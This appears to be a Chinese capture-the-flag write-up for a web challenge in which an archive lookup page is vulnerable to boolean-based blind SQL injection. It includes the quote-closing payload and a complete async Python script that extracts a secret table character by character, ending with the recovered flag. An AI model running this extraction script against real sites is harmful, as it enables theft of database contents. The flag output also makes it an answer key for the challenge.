

上古遗迹档案馆

请输入档案编号进行检索：

检索

检索成功：该档案存在，但您的权限不足以预览内容。

// Notice: Public records accessible. Confidential records (flag) are restricted.

经测试用#注释，闭合为单引号

请输入档案编号进行检索：

检索

检索结果：未找到对应编号的档案。

请输入档案编号进行检索：

检索

检索成功：该档案存在，但您的权限不足以预览内容。

用and测试出两种结果，很容易想到sql布尔盲注，接下来没什么过滤，直接写脚本

```
import sys
import urllib.parse
import asyncio
import aiohttp

BASE = "http://challenge.shc.tf:31427/"
SEMA = asyncio.Semaphore(5)
```

```

async def fetch(session, path: str) -> str:
    url = BASE + path
    async with SEMA:
        async with session.get(url) as resp:
            return await resp.text()

async def check_true(session, payload: str) -> bool:
    q = urllib.parse.quote(payload, safe='')
    text = await fetch(session, f"?id={q}")
    return '检索成功: 该档案存在, 但您的权限不足以预览内容' in text

async def check_char(session, pos: int, code: int, get_fields: bool, get_secret:
bool):
    # 输入payload, 假设前面的表和列都查出来了, 这是最终payload
    payload = f"1' AND(ascii(substr((select group_concat(id,secret_key)from
secret_vault),{pos},1))={code})#"

    if await check_true(session, payload):
        return chr(code)
    return None

async def solve(session, pos: int = 1, get_fields: bool = False, get_secret: bool
= False) -> str:
    tasks = []
    for code in range(33, 127):
        tasks.append(asyncio.create_task(check_char(session, pos, code,
get_fields, get_secret)))

    for coro in asyncio.as_completed(tasks):
        result = await coro
        if result:
            for t in tasks:
                if not t.done():
                    t.cancel()

            sys.stdout.write(result)
            sys.stdout.flush()
            return result + await solve(session, pos + 1, get_fields, get_secret)

    return ""

async def main():
    print('Target:', BASE)
    async with aiohttp.ClientSession() as session:
        print("\nData: ", end='')
        await solve(session)
    print()

if __name__ == '__main__':
    asyncio.run(main())

```

Data: 1SHCTF{a9b27d23-ec8d-48b2-b125-61b366bab84e}